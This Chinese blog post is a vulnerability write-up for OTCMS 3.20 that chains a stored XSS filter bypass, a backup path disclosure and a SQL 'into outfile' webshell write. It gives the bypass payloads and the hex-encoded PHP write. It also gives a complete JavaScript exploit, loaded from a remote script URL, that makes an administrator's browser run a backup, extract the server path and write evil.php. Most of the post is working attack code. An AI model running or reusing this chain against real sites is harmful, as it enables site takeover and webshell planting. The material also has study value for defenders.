OTCMS 3.20GetShell

正文:

参考:http://www.freebuf.com/column/169178.html
下载源码:d.otcms.com/php/OTCMS_PHP_V3.20.rar
具体的就直接拿原文作者的分析来写,反正自己就是菜
一.此处是存储型xss
步骤:
1.注册,管理员审核账号
2.usersNews_deal.php中
$content = Area::FilterEditor(OT::PostRStr(‘content’));
3.搜索FilterEditor,跳到classArea.php
function FilterEditor中有过滤

 $str = preg_replace("/<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>/si","",$str);
$str = preg_replace("/<\s*(script[^>]*)><\/\s*script>/si","",$str);

作者是这样绕过过滤的<script>pt>alert(1)</script >(加空格)
分析一下:

\s 空白符
\S 非空白符
[\s\S]任意字符
[\s\S]* 0个到任意多个字符
[\s\S]*? 0个字符,匹配任何字符前的位置。
[^>]表示不是“>”的字符,*表示重复零次或更多次,这个意思是非“>”的字符可以有一个或多个,也可以没有。
[\s]*? 任意多个空白字符
[^>]*? 任意多个不是>的字符
[\s\S]*? 任意多个字符(无限制)

只过滤了一次,所以,我们可以<scri<script>pt>alert(1)</script>pt>alert(1)</script>
经过测试,成功

<?php
$str="<scri<script>pt>alert(1)</script>pt>alert(1)</script>";
$str = preg_replace("/<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>/si","",$str);
$str = preg_replace("/<\s*(script[^>]*)><\/\s*script>/si","",$str);
echo $str;
?>

4.然后,在发布文章时抓包改content内容
<scri<script>pt>alert(1)</script>pt>alert(1)</script>或者<script>alert(1)</script >
测试成功

二.路径暴露

\inc\classZip.php中86行
document.getElementById(“yasuoBox”).innerHTML = “<div>’. $fileNum .’/’. $fileTotal .’正在压缩文件 ‘. iconv(‘GB2312′,’UTF-8//IGNORE’,str_replace(‘\\’,’/’,$val[‘path’])) .'</div>”;
innerHTML,插入内容
iconv截断函数(wordpress截断时,自己就用过一次它)
后台管理,备份时bp看返回包,有路径名
ok,拿到我的路径名C:\phpstudy\WWW\otcms3.2\OTCMS_PHP_V3.20_20180316/Data_backup/OT180826203959_all_part1.sql

三.数据库写马(学习到了)

在后台的“管理员专区->程序文件检查->SQL语句调试”中发现可以执行SQL语句的地方
\admin\sysCheckFile_deal.php  541行
if (strpos($sqlContent, ‘;’) !== false)
strpos 查找 “php” 在字符串中第一次出现的位置
执行SQL语句中是不能出现分号的(语句中,分号结束),但是通过数据库写马操作写入PHP代码是有分号的,此处可以使用hex编码绕过
select 0x3c3f70687020706870696e666f28293b3f3e into outfile “C://phpstudy//WWW//otcms3.2//OTCMS_PHP_V3.20_20180316//1.php”
我执行,但是一直失败,应该是没有权限写,一般都没有权限写
不影响,我们主要是进行思路分析

四.综合利用

(由于没有写的权限,就没有继续测试了,也懒得改了,记得以前弄过,很弄了好久,菜呗;把思路摘抄下来)

在前台存储型xss中引入js文件,模仿管理查看文章,触发xss,写入shell
1.coment写<script src=http://xxx/1.js></scripts >
本人由于不熟悉js,对原作者代码进行了个分析:

1.首先做了一下小测试:

1)match的使用方法

function MatchDemo(){
var r, re; // 声明变量。
var s = "The rain in Spain falls mainly in the plain";
re = /ain/i; // 创建正则表达式模式。
r = s.match(re); // 尝试匹配搜索字符串。
return(r); // 返回第一次出现 "ain" 的地方。
}
本示例说明带 g 标志设置的js中match函数方法的用法
function MatchDemo(){
var r, re; // 声明变量。
var s = "The rain in Spain falls mainly in the plain";
re = /ain/ig; // 创建正则表达式模式。
r = s.match(re); // 尝试去匹配搜索字符串。
return(r); // 返回的数组包含了所有 "ain"
// 出现的四个匹配。
}
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 <!DOCTYPE html>
<html>
<body>
<h1>我的第一个 Web 页面</h1>
<p>我的第一个段落。</p>
<button onclick="myFunction()">点我</button>
<script>
function myFunction() {
var r, re; // 声明变量。
var s = "The rain in Spain falls mainly in the plain";
re = /ain/ig; // 创建正则表达式模式。
r = s.match(re); // 尝试匹配搜索字符串。
alert(r); // 返回第一次出现 "ain" 的地方。
}
</script>
</body>
</html>
2)作者代码中的match理解
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<!DOCTYPE html>
<html>
<body>
<h1>我的第一个 Web 页面</h1>
<p>我的第一个段落。</p>
<button onclick="myFunction()">点我</button>
<script>
function myFunction() {
var r, re; // 声明变量。
var s = "<div>1/1正在压缩文件sabdabshfasf</div>";
re = "<div>1/1正在压缩文件(.*?)</div>";
r = s.match(re); // 尝试匹配搜索字符串。
alert(r); //
}
</script>
</body>
</html>

2.最终代码分析

function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)//是接收 的数据,从SERVLET反应回来的东西!这个是AJAX技术在不重新加载页面的情况下更新网页
//在页面已加载后从服务器请求数据
//在页面已加载后从服务器接收数据
//在后台向服务器发送数据
//所有现代的浏览器都支持 XMLHttpRequest 对象。
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp1=new XMLHttpRequest();//创建 XMLHttpRequest 对象
  xmlhttp2=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5(它们是不支持ajax的浏览器版本)
  xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP"); //ActiveX是微软的东西,故而这玩意儿只有IE才支持!
  xmlhttp2=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp1.onreadystatechange=function()//每当 readyState 改变时,就会触发 onreadystatechange 事件
//readyState 属性存有 XMLHttpRequest 的状态信息。
//存有 XMLHttpRequest 的状态。从 0 到 4 发生变化。
   // 0: 请求未初始化
   // 1: 服务器连接已建立
   // 2: 请求已接收
  //  3: 请求处理中
  //  4: 请求已完成,且响应已就绪
  {
  if (xmlhttp1.readyState==4 && xmlhttp1.status==200)
    {
    filepath=xmlhttp1.responseText;
    reg="<div>1/1正在压缩文件(.*?)</div>"
    data = filepath.match(reg);//匹配到路径
    data = data[1].replace(/\//g,"\/\/");  //取得路径replace(/\//g, '') 的作用是把/替换成'',同理
    data = data.replace(/ /g,"")}
    xmlhttp2.open("POST","[http://127.0.0.1:8083/admin/sysCheckFile_deal.php?mudi=sql](http://127.0.0.1:8083/admin/sysCheckFile_deal.php?mudi=sql)",true);
    xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp2.send("backURL=[http://127.0.0.1:8083/admin/sysCheckFile.php?mudi=sql&sqlContent=select](http://127.0.0.1:8083/admin/sysCheckFile.php?mudi=sql&sqlContent=select) 0x3c3f70687020706870696e666f28293b3f3e into outfile \""+data+"//evil.php\"");
//发出写马执行操作
  }
xmlhttp1.open("POST","[http://127.0.0.1:8083/admin/softBak_deal.php?mudi=backup](http://127.0.0.1:8083/admin/softBak_deal.php?mudi=backup)",true);
xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp1.send("backURL=http%3A%2F%2F127.0.0.1%3A8083%2Fadmin%2FsoftBak.php%3Fmudi%3Dbackup&mode=diy&selTable%5B%5D=upFile&zipNote=&backupSpace=server");
//进行备份操作,取得返回路径
//然后由于onreadystatechange触发掉
}
loadXMLDoc();

 
 
2018.8.26

标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注